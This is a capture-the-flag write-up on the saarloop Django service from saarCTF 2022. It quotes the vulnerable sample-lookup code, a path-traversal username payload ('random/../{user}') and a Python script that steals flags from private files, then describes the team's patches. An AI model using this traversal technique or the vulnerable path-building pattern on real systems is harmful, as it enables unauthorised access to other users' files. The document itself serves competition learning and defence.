saarloop is a Django (Python) based web-application that was part of saarCTF 2022. This service allows users to share sounds by uploading synthesizers, loops and samples.

Overview

The application allows users to upload various sound types, and view the ones publically uploaded by other users, after a usual registration/login process.

The access to view uploaded synths/samples/loops was only unlocked after you uploaded one of your own. If you wanted to e.g. view the uploaded loops you had to upload a loop of your own first.

The flags were stored in the non publically uploaded .wav files of a specific user, which was returned through the SaarCTF API call. The second argument returned by the API was the filename of a specific .wav file needed for retrieving the flag.

Suspicious facts

  • The usernames entered during the registration were not trimmed of special characters to any extent.

Vulnerability

Since the flags resided in the private .wav files uploaded by other users the method used was to abuse the fact that the username was not stripped. We were able to use directory traversion via the username because requesting a sample file was handled in the following way:

@login_required
def sample(request, sample_type, sample_name):
    ...
    searchdir = DATADIR
    if sample_type == 'USER':
        searchdir /= request.user.username

    sample_file = searchdir / "samples" / f"{sample_name}.wav"
    ...

In the scenario that the API returned "Vorgaukler123,lied.wav" the process would be to register a new user following the pattern random/../Vorgaukler123. This results in the server effectively operating out of the flag users directory, instead of yours, each time such an unsafe directory path is built.

The full process of retrieving a flag using this method is the following:

  • Retrieve the SaarCTF API information for a specific target
  • Register a new user with name random/../{API_user} and log in
  • Upload any .wav as a sample to get access to viewing them
  • Request the {API_wav}.wav sample from the server
  • Strip the flag out of the returned .wav

Automating The Attack

Implementing the method in python was a straight forward process and only required a single requests.Session() object to handle the cookies needed for the flow of requests.

def attack_target(ip, information):
    flag_user = information.split(":")[0]
    wav_name = information.split("/")[1]

    session = requests.Session()
    files = {'sample_file': open('sample.wav', 'rb')}

    request = session.post(f"http://{ip}:11025/register",
                           data={
                               # Returns ad8xvk1/../{flag_user}
                               'username': random_name(flag_user),
                               'password': random_string(12)
                           },
                           timeout=1)
    request = session.post(
        f"http://{ip}:11025/new_sample", files=files, timeout=1)
    request = session.get(
        f"http://{ip}:11025/sample/USER/{wav_name}", timeout=1)

    try:
        flag = "SAAR{" + request.text.split("SAAR{")[1].split("}")[0] + "}"
    except:
        print("manno")
    if flag:
        return flag
    else:
        print(request.text)

Patching The Service

Our first approach to fixing the exploit was to not allow any special characters at all during the registration progress. This effort was quickly dismissed after we realized the integrity checking script of the SaarCTF staff was using special characters during the user registration and flagged the service as non-functional if it couldn’t register.

The approach that ended up partially working was treating the name as if there were no special characters. A registered attacker named umkehrer/../flag_user would now be treated as umkehrerflag_user in the functions where the insecure directory names were built.

Some teams still got through this fix because they probably assumed how others would fix it. The fix had a major problem in that the attackers could now just register the flag_user name with special characters mixed in and it would treat them as being the flag user: fl.a,gus/er -> flaguser This lead to us implementing a check at the registration that would check if the given username stripped of special characters already existed, and throw an error to the user stating that the name is already taken.

After both these quick and dirty fixes were in place not a single flag was stolen until the end of the competition.